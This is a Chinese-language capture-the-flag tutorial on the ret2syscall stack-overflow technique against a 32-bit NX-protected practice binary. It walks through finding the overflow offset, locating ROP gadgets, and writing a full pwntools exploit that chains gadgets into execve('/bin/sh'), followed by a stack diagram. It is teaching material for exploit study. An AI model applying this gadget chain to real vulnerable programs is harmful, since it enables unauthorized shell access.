ret2syscall
ret2syscall,即控制程序執行系統調用,獲取 shell。
例題
鏈接: https://pan.baidu.com/s/1rUfgTcNlQihPsRSv4IMk9g 密碼: ijbi
首先checksec看一下保護機制
看到32位程序并且開啟了NX保護。
放到IDA下反匯編

題目中給的hint說明沒有system()這類的函數,而且我們也不能在棧上執行我們的shellcode,也就是說我們之前學到的ret2text和ret2shellcode的套路不能在這個題目中用了。不過看到gets()函數說明還是存在棧溢出的。這里介紹另一種棧溢出的方法
可以確定的是v4是一個溢出變量,我們按照之前介紹的方法確定v4的偏移。這里再講一遍,之后就一筆帶過了,希望大家能動手操作一下,確保自己能獨自做出來。
進行gdb peda調試,首先pattern_create 200構造字符串

然后 run 把程序跑起來,將生成的字符串輸入,發現程序在0x41384141壞掉了。

通過pattern_offset查找偏移

由于我們不能直接利用程序中的某一段代碼或者自己填寫代碼來獲得 shell,所以我們利用程序中的 gadgets 來獲得 shell,而對應的 shell 獲取則是利用系統調用。
我們之前的第一個例子介紹shellcode的就是用的系統調用,不過整個shellcode是完全由我們自己寫的,這里需要去構造。
思路是把對應獲取 shell 的系統調用的參數放到對應的寄存器中,那么我們在執行 int 0x80 就可執行對應的系統調用。比如說這里我們利用如下系統調用來獲取 shell
execve(“/bin/sh”,NULL,NULL)
其中,該程序是 32 位,所以我們需要使得
- 系統調用號,即 eax 應該為 0xb
- 第一個參數,即 ebx 應該指向 /bin/sh 的地址,其實執行 sh 的地址也可以。
- 第二個參數,即 ecx 應該為 0
- 第三個參數,即 edx 應該為 0
這里就需要使用 gadgets。比如說,現在棧頂是 10,那么如果此時執行了pop eax,那么現在 eax 的值就為 10。但是我們并不能期待有一段連續的代碼可以同時控制對應的寄存器,所以我們需要一段一段控制,這也是我們在 gadgets 最后使用 ret 來再次控制程序執行流程的原因。具體尋找 gadgets的方法,我們可以使用 ropgadgets 這個工具。在之前的章節中我們有這個工具的安裝和使用教程。
首先尋找控制eax的gadgetsROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'

這里選取最簡單的第2個作為gadgets
類似的尋找ebx的ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx'

這里選擇圖中標注的指令,可以直接控制ebx, ecx, edx三個寄存器。
接著需要找到可以斷下來的int 0x80地址ROPgadget --binary ret2syscall --only 'int'

正好發現了而且只有一個。然后尋找”/bin/sh”字符串的地址ROPgadget --binary ret2syscall --string '/bin/sh'
又是正好一個=.=
這樣我們就可以構造系統調用號位0xb的 execve("/bin/sh", null, null) 了
exp如下
from pwn import *
sh = process('./ret2syscall')
pop_edx_ecx_ebx = 0x0806eb90
binbash = 0x080be408
pop_eax = 0x080bb196
int_0x80 = 0x08049421
payload = flat(['A' * 112, pop_edx_ecx_ebx, 0, 0, binbash, pop_eax, 0xb, int_0x80])
sh.sendline(payload)
sh.interactive()
flat函數的用法是Flattens the arguments into a string.也就是拼接字符串。
例如
$ flat([1,2,3])
$ b’\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00’
這里講一下payload的構造,首先填充112個無效字節,接下來就是return address了,這里我們已經獲得了gadgets的地址了,直接放進來就可以,同時需要在棧上構造合適的數值來控制寄存器。
溢出后的棧空間如下所示
| 0x80 int 0x80 execve| <--- in 0x80 觸發execve 高地址
| 0xb used pop to eax | <--- esp2
| pop eax and ret | <--- eip2
| "/bin/sh" point ebx |
| 0 use to pop to ecx |
| 0 use to pop to edx | <--- esp1
| pop_edx_ecx_ebx_ret | <--- eip1
| AAAA origional ebp | <--- ebp
| AAA...AAA buf | 原先的棧空間 <--- esp 低地址
參考